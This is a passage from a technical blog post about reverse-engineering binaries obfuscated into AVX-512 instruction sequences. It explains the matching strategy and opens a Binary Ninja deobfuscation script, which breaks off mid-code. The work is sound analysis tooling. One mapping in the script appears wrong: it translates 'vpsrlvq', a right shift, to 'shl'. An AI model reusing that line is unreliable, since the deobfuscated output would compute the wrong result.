An issue that arose immediately is that x86 simply doesn’t have
256 general purpose registers, but we can resolve that through stack
loads and stores.</p>
<p>For pattern matching, I went through each function and at each
instruction address, I attempt to exactly match the longest pattern - if
none are found, I start matching from the next instruction (as the
current instruction could have been an unobfuscated). Otherwise, I note
down the pattern match and start matching again from the instruction
that subsequently follows the pattern. If a pattern is detected to be a
variadic sequence like in local array zeroing or initialization, the
next round of pattern matching starts from where the detected sequence
ends.</p>
<p>For mapping in the usage of stack loads and stores for variables,
there were three cases I had to deal with.The first case is the <code>sub rsp, X</code>, <code>mov rbp, rsp</code> sequence in the prologue, followed by a <code>leave</code> in the epilogue. The second case is simply just a <code>mov rbp, rsp</code> followed by a <code>pop rbp</code>
sequence, for cases where a non-leaf function needs to preserve 16 byte stack
alignment but doesn’t need any local variable allocations. Both of these can just be replaced with an <code>enter</code> sequence to allocate the required stack space for all the VM registers and any previous stack allocations, with <code>leave</code>
patched in for both epilogue sequences. Now, VM-registers can just be
referenced through rbp relative addressing. In the case of leaf
functions that require no stack allocations, VM-registers have to be
referenced through rsp relative addressing.</p>
<p>Care has to be taken about instruction space when we match all the patterns in a given function and begin to patch it. It is true that
most AVX-512 instruction sequences are long, but 64 bit instruction prefix combined with memory operands to replicate VM-registers can in some cases be
longer. To resolve this, I pad shorter x86 deobfuscated sequences with
nops that I track and try to shift every subsequent obfuscation
instruction upwards during de-obfuscation. An instruction can be shifted
upwards only if it is preceeded by a nop, and does not affect control
flow, which I verify by checking for xrefs to the current address of the
instruction. Of course, this is only a simplistic model due to the
existence of indirect jumps and calls, but suffices for the obfuscated
binaries I generated.</p>
<p>Lastly, it is important to keep track of the
states when deobfuscating for certain registers like the masking registers. Otherwise, the
deobfuscator loses context like the currently selected qword of a zmm
register. I opted out of doing any optimizations for masking registers
that cross obfuscated instruction sequence boundaries as that would
drastically increase complexity and might introduce multiple possible
values for mask registers in some control flow blocks (I guess peepholing at the basic block level would have been fine though).</p>
<p>I ended up prototyping the following Binary Ninja script with
comments for pattern matching based deobfuscation. In many cases, it can
create an equivalent deobfuscated binary that runs properly!</p><p><span style="background-color: whitesmoke; display: block; font-family: monospace; max-width: 100%; overflow-x: auto; white-space: pre;"><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">from</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> binaryninja </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">import</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> *
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">from</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> enum </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">import</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> Enum
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">from</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> collections </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">import</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> namedtuple
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">import</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> traceback, sys, math
FUNCTIONS = </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">list</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(bv.functions)
br = BinaryReader(bv)
bw = BinaryWriter(bv)
arch = Architecture[</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'x86_64'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">]
symtab = SymbolMapping(bv)
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># figure out how to deobfuscate by matching first instructions</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
Inst = Enum(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'Inst'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, [
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'KMOVB'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'KNOTB'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'KTESTB'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPBROADCASTQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPCOMPRESSQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPGATHERQQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPSCATTERQQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VMOVDQU64'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VMOVQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPCMPQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPCMPGTQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPCMPEQQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPSRLQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPSRAQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPSLLQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPSRLVQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPSRAVQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPSLLVQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPXORQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPORQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPANDQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPSUBQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPADDQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPMULLQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPBROADCASTMB2Q'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VDIVPD'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VCVTQQ2PD'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VCVTTPD2QQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VFPCLASSPD'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPABSQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'VPTERNLOGQ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'JZ'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'JE'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'JMP'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'LEA'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'XOR'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'MOV'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'SUB'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'ADD'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'CQO'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'IDIV'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'OTHER'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
])
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># define series of instructions to match</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># anything else</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
mapping = {
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"kmovb"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.KMOVB,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"knotb"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.KNOTB,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"ktestb"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">: Inst.KTESTB,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpbroadcastq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPBROADCASTQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpcompressq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPCOMPRESSQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpgatherqq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPGATHERQQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpscatterqq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPSCATTERQQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vmovdqu64"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VMOVDQU64,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vmovq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VMOVQ,
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># binja doesn't seem to be able to decode all neatly</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpcmpq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPCMPQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpcmpgtq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPCMPGTQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpcmpeqq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPCMPEQQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpsrlq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPSRLQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpsraq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPSRAQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpsllq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPSLLQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpsrlvq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPSRLVQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpsravq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPSRAVQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpsllvq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPSLLVQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpxorq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPXORQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vporq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPORQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpandq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPANDQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpsubq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPSUBQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpaddq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPADDQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpmullq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPMULLQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpbroadcastmb2q"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPBROADCASTMB2Q,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vdivpd"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VDIVPD,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vcvtqq2pd"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VCVTQQ2PD,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vcvttpd2qq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VCVTTPD2QQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vfpclasspd"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VFPCLASSPD,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpabsq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPABSQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"vpternlogq"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.VPTERNLOGQ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"jz"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.JZ,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"je"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.JE,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"jmp"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.JMP,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"lea"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.LEA,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"xor"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.XOR,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"mov"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.MOV,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"sub"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.SUB,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"add"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.ADD,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"cqo"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.CQO,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">"idiv"</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : Inst.IDIV,
}
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">k_reg_idx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">k_str</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
val = </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(k_str[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(val >= </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">and</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> val <= </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">7</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> val
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">def</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-title function_" style="color: #a31515; font-family: monospace; white-space: pre;">zmm_reg_idx</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(</span><span class="hljs-params" style="font-family: monospace; white-space: pre;">zmm_str</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">):
val = </span><span class="hljs-built_in" style="color: blue; font-family: monospace; white-space: pre;">int</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(zmm_str[</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">3</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">:])
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">assert</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">(val >= </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> </span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">and</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> val <= </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">31</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">)
</span><span class="hljs-keyword" style="color: blue; font-family: monospace; white-space: pre;">return</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> val
equiv_ops = {
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'vpaddq'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'add'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'vpsubq'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'sub'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'vpmullq'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'imul'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'vpandq'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'and'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'vporq'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'or'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'vpxorq'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'xor'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'vpcmpeqq'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'sete'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'vpcmpgtq'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'setnle'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'vpsllq'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'shl'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'vpsllvq'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'shl'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'vpsraq'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'sar'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'vpsravq'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'sar'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'vpsrlq'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'shr'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'vpsrlvq'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'shl'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
}
cmp_suffix = {
</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x4</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'setne'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># vpcmpneqq</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x1</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'setl'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># vpcmpltq</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x2</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'setle'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># vpcmpleq</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
</span><span class="hljs-number" style="font-family: monospace; white-space: pre;">0x5</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'setge'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># vpcmpnltq</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
}
size_map = {
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'zmmword'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">64</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'ymmword'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">32</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'xmmword'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;"> : </span><span class="hljs-number" style="font-family: monospace; white-space: pre;">16</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">,
}
BinjaInst = namedtuple(</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'BinjaInst'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, [</span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'disas'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">, </span><span class="hljs-string" style="color: #a31515; font-family: monospace; white-space: pre;">'addr'</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">])
</span><span class="hljs-comment" style="color: green; font-family: monospace; white-space: pre;"># [start, end)</span><span style="background-color: whitesmoke; font-family: monospace; white-space: pre;">
